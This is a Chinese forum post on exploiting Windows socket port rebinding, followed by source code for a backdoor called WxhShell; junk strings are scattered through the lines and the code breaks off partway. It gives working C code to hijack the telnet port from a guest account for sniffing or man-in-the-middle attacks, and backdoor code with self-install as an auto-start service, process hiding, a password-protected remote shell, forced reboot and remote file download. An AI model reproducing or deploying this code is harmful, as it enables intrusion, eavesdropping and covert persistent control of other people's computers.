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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _2<|0lvh  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); );@@>~  
LrsP4G  
  saddr.sin_family = AF_INET; 44 o5I:  
N?p9h{DG  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |0b$60m$!t  
vpMNulXb,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); n,9 *!1y  
|U8;25Y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .]k(7F!W  
/thCu%%9A  
  这意味着什么?意味着可以进行如下的攻击: &bRmr/D  
SrN0f0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #OJsu  
t/u$Ts  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )tz8(S  
VCX})sp  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X:j&+d2g0/  
* ,_Qdr^F  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  66[yL(*+  
mucY+k1>g  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 MztT/31S  
+7sdQCO(Co  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "sUe:F;  
 8Nd +  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]Q6,,/nn  
+4G uA0N6  
  #include TAi |]U!  
  #include qdAz3iye  
  #include S;Lqx5Cd  
  #include    n)sK#C-VA  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Y xGIv8O]  
  int main() shYcfLJ  
  { v)%EG  
  WORD wVersionRequested; mu=u!by.E  
  DWORD ret; E-E+/.A  
  WSADATA wsaData; FnvN 4h{S  
  BOOL val; \7$m[h {l  
  SOCKADDR_IN saddr; w^A8ZT0^7  
  SOCKADDR_IN scaddr; [LjYLm%<  
  int err; nUs)  
  SOCKET s; 4w*F!E2H\}  
  SOCKET sc; +ulX(u(,  
  int caddsize; U%t:]6d&}  
  HANDLE mt; l.;y`cs  
  DWORD tid;   ( J\D"4q  
  wVersionRequested = MAKEWORD( 2, 2 ); "h2;65@  
  err = WSAStartup( wVersionRequested, &wsaData ); `i f*   
  if ( err != 0 ) { QkGr{  
  printf("error!WSAStartup failed!\n"); 7M3q|7 ?  
  return -1; qAivsYN*  
  } X'7 T"5!  
  saddr.sin_family = AF_INET; $Z.c9rY1  
   gS4K](KH |  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ` *$^rQS  
E+ JGqk  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); hy W4=  
  saddr.sin_port = htons(23); ?mG ?N(t/h  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yoGE#+|7^  
  { riFE.;  
  printf("error!socket failed!\n"); EpOVrk  
  return -1; jM2gu~  
  } 3|P P+<o  
  val = TRUE; ?#,\,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >+#TsX{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) I".d>]16|  
  { ;6fkG/T  
  printf("error!setsockopt failed!\n"); q'C'S#qqn  
  return -1; *Ty>-aS1  
  } 1?E\2t&K  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }eEF/o  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %+o]1R  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !%T@DT=l&  
fCx~K'UWn  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8eWb{n uJ>  
  { X k<X:,T  
  ret=GetLastError(); #/\FB'zC  
  printf("error!bind failed!\n"); rf1-E57#  
  return -1; Gx'mVC"{  
  } ;d?4phl -.  
  listen(s,2); #<yR:3  
  while(1) W5J"#^kdF8  
  { F'pD_d9]e  
  caddsize = sizeof(scaddr); @HIC i]  
  //接受连接请求 "=P@x|I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &EA4`p  
  if(sc!=INVALID_SOCKET) +SUQRDF@i  
  { >jN)9}3>-#  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Xa9G;J$  
  if(mt==NULL) e-UPu%'  
  { ME0ivr*=:  
  printf("Thread Creat Failed!\n"); gmJJ(}HVz  
  break; VNXB7#ry  
  } Nl;rg*@o  
  } al#yc  
  CloseHandle(mt); @B+  
  } (8=Zr0He  
  closesocket(s); ;M@ /AAZ  
  WSACleanup(); +c\fDVv  
  return 0; ec"L*l"  
  }   A6TNtXk  
  DWORD WINAPI ClientThread(LPVOID lpParam) "z@q G]#5  
  { ew }C*4qH  
  SOCKET ss = (SOCKET)lpParam; mgH4)!Z*56  
  SOCKET sc; U{i9h6b"18  
  unsigned char buf[4096]; Hr96sN.R   
  SOCKADDR_IN saddr; J~n{gT<L  
  long num; 33"{"2==`  
  DWORD val; If]g6 B.=  
  DWORD ret; z@T;N'EM  
  //如果是隐藏端口应用的话,可以在此处加一些判断 W!GgtQw{F  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   - Nplx  
  saddr.sin_family = AF_INET; 4i/TEHQ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ZFz>" vt@  
  saddr.sin_port = htons(23); 0~an\4nh  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V 1#/ +~  
  { rpDH>Hzq  
  printf("error!socket failed!\n"); s{< rc>  
  return -1; X Uh)z  
  } w;>]L.n  
  val = 100; Z1^S;#v  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u8-)LOf(  
  { vV"TTzs!  
  ret = GetLastError(); ];zi3oS^  
  return -1; %DzS~5$G  
  } -$[=AqJXp;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NWX~@Rg  
  { }JrM!'  
  ret = GetLastError(); >{npg2  
  return -1; s^3t18m&1  
  } =2->1<!x6<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) f-4<W0%  
  { !=k\Rr@qx  
  printf("error!socket connect failed!\n"); Qzb8*;4?FF  
  closesocket(sc); w;r -TLf  
  closesocket(ss); B3XVhUP  
  return -1; <[l2]"Q  
  } `I_%`15>  
  while(1) X+bLLW>&  
  { }_5z(7}3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .eq-i>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _qJ[~'m<^C  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 oBKZ$&_h  
  num = recv(ss,buf,4096,0); j!m~ :D  
  if(num>0) <~X=6  
  send(sc,buf,num,0); +z("'Cv  
  else if(num==0) lKH"PH7*_w  
  break; |WubIj*\{  
  num = recv(sc,buf,4096,0); OXA_E/F  
  if(num>0) 5 BcuLRId:  
  send(ss,buf,num,0); <Hm:#<\  
  else if(num==0) P]r"E  
  break; k= nfo-h  
  } R0*DfJS:Z  
  closesocket(ss); Ldt7?Y(V(  
  closesocket(sc); "Z}0A/y  
  return 0 ;  6~$ <  
  } uyjZmT/-  
nb0<.ICF%R  
2MB\!fh  
========================================================== "%A[%7LY  
?vf\_R'M  
下边附上一个代码,,WXhSHELL pPG!{:YT  
UY%@i  
========================================================== cr,o<  
gtjgC0   
#include "stdafx.h" hO{@!H$l  
[>Q{70 c[  
#include <stdio.h> ;hd> v&u#  
#include <string.h> t'm]E2/  
#include <windows.h> j cx/ZR  
#include <winsock2.h> /1n}IRuw  
#include <winsvc.h> &sx/qS#,VL  
#include <urlmon.h> u b4(mS  
z13"S(5D~  
#pragma comment (lib, "Ws2_32.lib") ufEt"P-X.  
#pragma comment (lib, "urlmon.lib") -uO< ]  
-cq ~\m^6  
#define MAX_USER   100 // 最大客户端连接数 B;1wnKdj  
#define BUF_SOCK   200 // sock buffer iP' }eQn]c  
#define KEY_BUFF   255 // 输入 buffer NSb< 7_L  
5:n&G[Md  
#define REBOOT     0   // 重启 0b*a2_|8k  
#define SHUTDOWN   1   // 关机 H,3$TNX y  
z{!wQ~ j  
#define DEF_PORT   5000 // 监听端口 fjp>FVv3  
L=HL1Qe$G]  
#define REG_LEN     16   // 注册表键长度 a[9;Okm #  
#define SVC_LEN     80   // NT服务名长度 B(^fM!_%-6  
QfwGf,0p  
// 从dll定义API >(%im :_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \ 0<e#0-V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); unD8h=Z2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dF1Bo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :I<%.|8  
UK& E#i  
// wxhshell配置信息 I X\&lV  
struct WSCFG { 7zQD.+&L  
  int ws_port;         // 监听端口 6{+~B2Ef  
  char ws_passstr[REG_LEN]; // 口令 _MMz x2}  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y71b Lg  
  char ws_regname[REG_LEN]; // 注册表键名 UbQeN  
  char ws_svcname[REG_LEN]; // 服务名 ~@got  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j&8 ~X2?*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3)dT+lZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jh8%Xu]t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Pu axS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6[qRb+ds  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Th,2gX9  
?0_i{BvN  
}; [$H8?J   
={feN L  
// default Wxhshell configuration 09x\i/nb  
struct WSCFG wscfg={DEF_PORT, -,4_ &V  
    "xuhuanlingzhe", V?Nl%M[b  
    1, Y{p *$  
    "Wxhshell", \ 2".Kb@=  
    "Wxhshell", ""WZpaw  
            "WxhShell Service", >Zmpsa+  
    "Wrsky Windows CmdShell Service", OWq~BZ{  
    "Please Input Your Password: ", "_q5\]z\O  
  1, 7r}gS2d  
  "http://www.wrsky.com/wxhshell.exe", jj$'DZk  
  "Wxhshell.exe" |AWu0h\keO  
    }; 6xBP72L;%"  
_n{N3da  
// 消息定义模块 +9h6{&yr1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .s2d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t-E'foYfr`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z*9/"M  
char *msg_ws_ext="\n\rExit."; .3HC*E.e  
char *msg_ws_end="\n\rQuit."; H_*]Vg  
char *msg_ws_boot="\n\rReboot..."; Jv)]7u  
char *msg_ws_poff="\n\rShutdown..."; 8-SVgo(  
char *msg_ws_down="\n\rSave to "; 9Pem~<  
F48`1+  
char *msg_ws_err="\n\rErr!"; y*7ht{B  
char *msg_ws_ok="\n\rOK!"; m?M(79u[  
<!w-op2@ir  
char ExeFile[MAX_PATH]; 9r8{9h:  
int nUser = 0; Tzk8y 7$[  
HANDLE handles[MAX_USER]; }"cb^3  
int OsIsNt; C ]r$   
<MfB;M  
SERVICE_STATUS       serviceStatus; B8TI 5mZ4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0kiW629o  
f}+G;a9Nj  
// 函数声明 [C d 2L&9  
int Install(void); A: @=?(lI3  
int Uninstall(void); X He=  
int DownloadFile(char *sURL, SOCKET wsh); |r /}r,t}  
int Boot(int flag); 6,c,i;J_  
void HideProc(void); +T4<}+n  
int GetOsVer(void); }_gq vgI>p  
int Wxhshell(SOCKET wsl); 8KAyif@1::  
void TalkWithClient(void *cs); |"@E"Za^  
int CmdShell(SOCKET sock); Cu|n?Uk  
int StartFromService(void); @:c 1+  
int StartWxhshell(LPSTR lpCmdLine); # =322bnO  
e3Lf'+G\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z2 dM*NMK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }& 1_gn15  
uZQ)A,#n;  
// 数据结构和表定义 a}Ov @7  
SERVICE_TABLE_ENTRY DispatchTable[] = F]ALZxwkz  
{ Y{J/Oib  
{wscfg.ws_svcname, NTServiceMain}, Q5jP`<zWU  
{NULL, NULL} GUcuD^Fe  
}; DD-DY&2R  
l"cO@.T3  
// 自我安装 E?FPxs  
int Install(void) .z{7 rH  
{ 7)a=B! 8M  
  char svExeFile[MAX_PATH]; 7'&Xg_  
  HKEY key; Ne#nSx5,  
  strcpy(svExeFile,ExeFile); h{h=',o1  
I{RktO;1  
// 如果是win9x系统,修改注册表设为自启动 V*)6!N[5  
if(!OsIsNt) { j$L<9(DoR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { opIcSm&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '17=1\Ss6;  
  RegCloseKey(key); ^QnVYTM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QOP*vH >J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]Wy V bIu  
  RegCloseKey(key); PDir?'  
  return 0; v)pdm\P  
    } l'o}4am  
  } !?+3 jzG  
} dyx 4_!fO  
else { oS`F Yy  
dIf Jr}ih  
// 如果是NT以上系统,安装为系统服务 qM9GW`CKA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); leD?yyjw7  
if (schSCManager!=0) \J13rL{<  
{ =* (d+[_  
  SC_HANDLE schService = CreateService p,4z;.s$  
  ( MDB}G '  
  schSCManager, JRo{z{!O6  
  wscfg.ws_svcname, ;wN.RPE_^  
  wscfg.ws_svcdisp, zO+nEsf^O  
  SERVICE_ALL_ACCESS, Ny~;"n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "7aFVf  
  SERVICE_AUTO_START, |FNP~5v  
  SERVICE_ERROR_NORMAL, HK-?<$Yc  
  svExeFile, |4'E&(BU-  
  NULL, kPxEGuL'  
  NULL, nBD7  
  NULL, Q7SS<'(  
  NULL, t4<#k=  
  NULL SKS[Lf  
  ); L3W ^ip4  
  if (schService!=0) <bid 6Q0|  
  { Qv?jo(]  
  CloseServiceHandle(schService); 9S<W~# zz  
  CloseServiceHandle(schSCManager); \UE9Ff+{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); te:VYP  
  strcat(svExeFile,wscfg.ws_svcname); Y#Z&$&n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oFsMQ Py  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @-7K~in?^  
  RegCloseKey(key); H ,?MG  
  return 0; vw!i)JO8M  
    } *(HH71Y  
  } )Q\;N C=4  
  CloseServiceHandle(schSCManager); lz>5bR'  
} ?ph"|LyL  
} x7/2e{p uu  
l p? h~  
return 1; Z>{8FzP.F  
} l9<+4rK2  
7.=u:PK7kM  
// 自我卸载 :4 ;>).  
int Uninstall(void) INkrG.=u  
{ 16] O^R;r  
  HKEY key; 2AlLcfAW  
&d*9#?9  
if(!OsIsNt) { w S;(u[W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bc 0|tJc  
  RegDeleteValue(key,wscfg.ws_regname); UIyOn` d"  
  RegCloseKey(key); SC!IQ80H#D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z1"UF4x*  
  RegDeleteValue(key,wscfg.ws_regname); In 1.R$O  
  RegCloseKey(key); 0W>O,%z&P#  
  return 0; ?+TD2~rD(  
  } P(Lwpa,S  
} %+'&$  
} m4%m0"Z  
else { !Q?4sAB  
cJty4m-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mq "p"iI  
if (schSCManager!=0) 8pk5[=3Z  
{ 9\"~G)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X~j A*kmAj  
  if (schService!=0) CBvBBt*  
  { A8A+ImwO"  
  if(DeleteService(schService)!=0) { @emZwN"m  
  CloseServiceHandle(schService); [0rG"$(0Y  
  CloseServiceHandle(schSCManager); >,9t<p=Q  
  return 0; z,NHH):~  
  } t?{ B*  
  CloseServiceHandle(schService); HnpGPGz@F  
  } +\E\&^ZQ  
  CloseServiceHandle(schSCManager); BujWql  
} A+dY~@*a  
} E+>;tLw3j  
[F>zM  
return 1; NR3IeTd  
} oW8[2$_N+  
n|F`6.G  
// 从指定url下载文件 PJ_|=bn  
int DownloadFile(char *sURL, SOCKET wsh) a@X'oV`(2b  
{ ^8\pJg_0  
  HRESULT hr; >B9rr0d0  
char seps[]= "/"; o]FQ)WRB  
char *token; mH hm~u  
char *file; *r_.o;6  
char myURL[MAX_PATH]; D~ {)\;w^!  
char myFILE[MAX_PATH]; xq]&XlA:ug  
44]ae~@a  
strcpy(myURL,sURL); cbIW>IbM  
  token=strtok(myURL,seps); Ky=&C8b<  
  while(token!=NULL) q8p 'bibY  
  { ~7k b4[  
    file=token; EuAa  
  token=strtok(NULL,seps); NfSe(rd  
  } Z`f _e?  
(thzW r6;  
GetCurrentDirectory(MAX_PATH,myFILE); }Jc^p  
strcat(myFILE, "\\"); C/cyqxVl}  
strcat(myFILE, file); _6|b0*jv'&  
  send(wsh,myFILE,strlen(myFILE),0); (kSk bwu  
send(wsh,"...",3,0); @3G3l|~>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '3xSzsDn  
  if(hr==S_OK) 9*x9sfCv9  
return 0; %AJdtJ@0H  
else \gzNMI*  
return 1; -8TLnl~[  
SQHV gj  
} `aUA_"f  
+uH1rF_&@  
// 系统电源模块 QOOBCNe  
int Boot(int flag) sI.Ezuw  
{ 1wq 6E  
  HANDLE hToken; UR\*KR;yM  
  TOKEN_PRIVILEGES tkp; c2y5[L7?  
KSexG:Xb  
  if(OsIsNt) { $V+ze*ra  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D]0#A|n F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R"tLu/Sn  
    tkp.PrivilegeCount = 1; m3,v&Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  g6~uf4;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i\3`?d  
if(flag==REBOOT) { lKa}Bcd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) AKHi$Bk  
  return 0; Kg%_e9nj#  
} YlYTH_L>E  
else { LX3 5Lt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Aw5yvQ>]e  
  return 0; EBn7waBS  
} \:Nbl<9(9  
  } u=4tW:W,  
  else { ^v`|0z\  
if(flag==REBOOT) { 5ecqJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i JQS@2=A  
  return 0; %II |;<  
} lT%o6qgT  
else { FkRrW^?5G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0R; ;ou  
  return 0; 6.k2,C4dT<  
} -f'z _&KI  
} \oaO7w,:"  
Wx^L~[l  
return 1; Y(-+>>j_  
} 9_&.G4%V  
h>fY'r)DAx  
// win9x进程隐藏模块 R@ihN?k  
void HideProc(void) "EA%!P:d,  
{ n}YRE`>D  
)WD<Q x&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -`A6K!W&~p  
  if ( hKernel != NULL ) .)Du ;  
  { ]r|X[9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w%`7,d u|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VJm).>E3k  
    FreeLibrary(hKernel); 0*+i~g,Kl@  
  } aLG6yVtu  
{Z$Aw4a"d  
return; c!j$ -Ovm  
} 2y,f  
\|Us/_h  
// 获取操作系统版本 z#*fELV  
int GetOsVer(void) Ia[e 7  
{ s:6H^DQ"C  
  OSVERSIONINFO winfo; <kp?*xV]]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :6%wVy5  
  GetVersionEx(&winfo); QYDSE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YiB^m   
  return 1; }c^`!9  
  else 8|HuxE  
  return 0; ]w"r4HlCx  
} pm@Mlwg`1  
FG:(H0  
// 客户端句柄模块 ;3 O0O  
int Wxhshell(SOCKET wsl) 0M>+.}e+  
{ X`ee}C.D_  
  SOCKET wsh; 1 VcZg%I  
  struct sockaddr_in client; 3* 1cCM42  
  DWORD myID; ;3'ta!.c  
&iORB  
  while(nUser<MAX_USER) w9G (^jS6  
{ `$Z:j;F  
  int nSize=sizeof(client); M2l0x @|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9'Le}`Gf  
  if(wsh==INVALID_SOCKET) return 1; s#hIzt  
;=fOyg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,( u- x!  
if(handles[nUser]==0) 0Q`Dp;a5&  
  closesocket(wsh); oSq?. *w<  
else 2<q>]G-nN  
  nUser++; uB_8P+h7  
  } C0(?f[/(M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '1+s^Q'pc  
`tw[{Wb  
  return 0; P;4Y%Dq~Qo  
} q!iS Y  
% Ya%R@b}  
// 关闭 socket <n? cRk'.  
void CloseIt(SOCKET wsh) iI.pxo s  
{ lY -2e>  
closesocket(wsh); `1 A,sXfa  
nUser--; o^+2%S`]  
ExitThread(0); 1 etl:gcEC  
} 'o}v{f  
Fj;];1nt  
// 客户端请求句柄 IyK^` y  
void TalkWithClient(void *cs) J PO'1 D)  
{ BA(erf>  
lDsT?yHS`Z  
  SOCKET wsh=(SOCKET)cs; B! +rO~  
  char pwd[SVC_LEN]; w.X MyHj  
  char cmd[KEY_BUFF]; w2X0.2)P2  
char chr[1]; 4|U$ON?x  
int i,j; N> 7sG(!'"  
@I"&k!e<2  
  while (nUser < MAX_USER) { RG&t0%yj}  
p>oC.[:4a  
if(wscfg.ws_passstr) { YN]xI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'Dn\.x^]1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `D-P}hDm!  
  //ZeroMemory(pwd,KEY_BUFF); Kw;gQk~R!  
      i=0; 8@LWg d  
  while(i<SVC_LEN) { rjWtioZEa  
~!2fUewEu  
  // 设置超时 f42F@M(:  
  fd_set FdRead; 2jC:uk  
  struct timeval TimeOut; w.aEc}@(^  
  FD_ZERO(&FdRead); '"\n,3h  
  FD_SET(wsh,&FdRead); Z ]  G#:  
  TimeOut.tv_sec=8; h9im S\gfr  
  TimeOut.tv_usec=0; {Y2 J:x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '-N 5F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^W@8KB  
k= 9+"4:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `<v$+mG  
  pwd=chr[0]; Btzes.  
  if(chr[0]==0xd || chr[0]==0xa) { !Z\Gv1  
  pwd=0; z>,tP  
  break; Hu6Qr  
  } V{q*hQd_3  
  i++; b|Ge#o  
    } z(.,BB[  
I!9>"s12  
  // 如果是非法用户,关闭 socket HfH_jnR*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z ULH gG  
} 3 }#rg  
/}d)g4\j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ob[G3rfd@Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h?->A#  
NZXCaciG  
while(1) { es$<Vkbp  
vsB3n$2@u  
  ZeroMemory(cmd,KEY_BUFF);  SmAF+d  
uxW<Eh4H*  
      // 自动支持客户端 telnet标准   AC?a:{ ./  
  j=0; 9}G<\y  
  while(j<KEY_BUFF) { >IZ$ .-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fa X3@Sd!  
  cmd[j]=chr[0]; t6%zfm   
  if(chr[0]==0xa || chr[0]==0xd) { Ui"3'OU'  
  cmd[j]=0; 4%SA%]a L1  
  break;  I$fm"N  
  } lO1]P&@  
  j++; |1+ mHp  
    } U\"FYTC  
AASS'H@  
  // 下载文件 XpT~]q}  
  if(strstr(cmd,"http://")) { L^ U.h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9*[!ux7h  
  if(DownloadFile(cmd,wsh)) *!}bU`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 94[8~_{fG  
  else [Lid%2O3ZR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p,mKgL63  
  } W3B:)<f  
  else { , #(k|Zztc  
ooN?x31  
    switch(cmd[0]) { eqU y>  
  -9q3]nmT(  
  // 帮助 gt(!I^LHYc  
  case '?': { QM=Y}   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~<3J9\z1  
    break; BIjkW.uf  
  } wQOIUvd  
  // 安装 K'U=);W  
  case 'i': { F<2qwP  
    if(Install()) AaDMX,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `t]8 [P5  
    else Ce@"+k+w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %Lfy!]Ru  
    break; Q\*zF,ek  
    } mFuHZ)iQG  
  // 卸载 ua%j}%G(  
  case 'r': { "'I |#dKoG  
    if(Uninstall()) N/8B@}@n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tr%VYc|}  
    else 7k#0EhN1>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &v/R-pz  
    break; S 0mt8/ M  
    } ce1U}">11  
  // 显示 wxhshell 所在路径 >d^DN;p  
  case 'p': { 0@}:`OynX  
    char svExeFile[MAX_PATH]; R"O,2+@<.  
    strcpy(svExeFile,"\n\r"); `_<O _  
      strcat(svExeFile,ExeFile); 8MBvp*  
        send(wsh,svExeFile,strlen(svExeFile),0); |DXi~  
    break; G8Zl[8  
    } -y8> c0u  
  // 重启 NV;T*I8O  
  case 'b': { [LKzH!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _5v]69C#  
    if(Boot(REBOOT)) dY.NQ1@"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'F Cmbry  
    else { m~8=?R+m  
    closesocket(wsh); fI-f Gx  
    ExitThread(0); 2%~+c|TH.)  
    } (6X{ &  
    break; OBnvY2)Ri  
    } @BI;H V%k  
  // 关机 G5!!^p~  
